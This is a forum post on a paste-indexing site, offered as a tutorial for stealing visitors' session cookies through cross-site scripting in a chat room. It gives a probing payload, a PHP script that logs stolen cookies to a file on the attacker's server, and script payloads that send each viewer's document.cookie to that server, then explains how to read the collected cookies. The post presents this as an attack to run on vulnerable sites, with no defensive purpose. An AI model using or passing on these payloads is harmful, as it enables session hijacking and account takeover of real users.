• Report Links
    We do not store any files or images on our server. XenPaste only index and link to content provided by other non-affiliated sites. If your copyrighted material has been posted on XenPaste or if hyperlinks to your copyrighted material are returned through our search engine and you want this material removed, you must contact the owners of such sites where the files and images are stored.
  • Home
  • -
  • New Pastes

Xss bug tutorial

  • Thread starter King
  • Start date Oct 29, 2021

King

Administrator
Joined
Jul 12, 2021
Messages
25,005
Reaction score
5
Points
38
  • Oct 29, 2021
  • #1
method

With javascript commands redirects you to a link and gives you user cookies.





Well, now let's go to our work. (It can only be done on sites that have xss bugs)

Step 1: ‌

For example, there is a chat room where you see a message, you send this text instead of the message: ‌

<script>alert('Error')</script>
Click to expand...
Click to expand...


If the time you enter the page in the form of an error shows you an error (as a warning, for example), it means that the site has a bug.



Step 2:

Create a file called xss.php on a site you own and put this php code in it:
<?php
$cookie=$_GET['c'];
$fo=fopen('cookie.html','a');
fwrite($fo,'Cookie:'.$cookie.'<br><br><br>---------------------------------------<br><br><br>');
fclose($fo);
?>
Click to expand...
Click to expand...

Step 3:

Send another message in the message field with this javascript code:
<script>document.location="http://site.com/xss.php?c=" + document.cookie </script>
or
<script>document.location="http://site.com/xss.php?c="%2bdocument.cookie </script>
Click to expand...
Click to expand...
Instead of site.com, give the address of your site where you put the xss.php file.





Step 4:

Enter this address:

http://site.com/cookie.html
Click to expand...
Click to expand...

And when users see your message, they will be redirected to site.com/xss.php and their cookies in a file

It will be saved for you as cookie.html.

Continue reading...
 
https://xenforo.be/
Upvote 0 Downvote
You must log in or register to reply here.
Share:
Facebook Twitter Reddit Pinterest Tumblr WhatsApp Email
  • Home
  • -
  • New Pastes
  • Terms and rules
  • Privacy policy
  • Help
  • Home
AMP generated by AMPXF.com
Menu
Log in

Register

  • Home
    • Go Premium
  • Go Premium / Advertise
  • New Ad Listings
  • What's new
    • New posts
    • New Ad Listings
    • Latest activity
  • Members
    • Registered members
    • Current visitors
X

Privacy & Transparency

We use cookies and similar technologies for the following purposes:

  • Personalized ads and content
  • Content measurement and audience insights

Do you accept cookies and these technologies?

X

Privacy & Transparency

We use cookies and similar technologies for the following purposes:

  • Personalized ads and content
  • Content measurement and audience insights

Do you accept cookies and these technologies?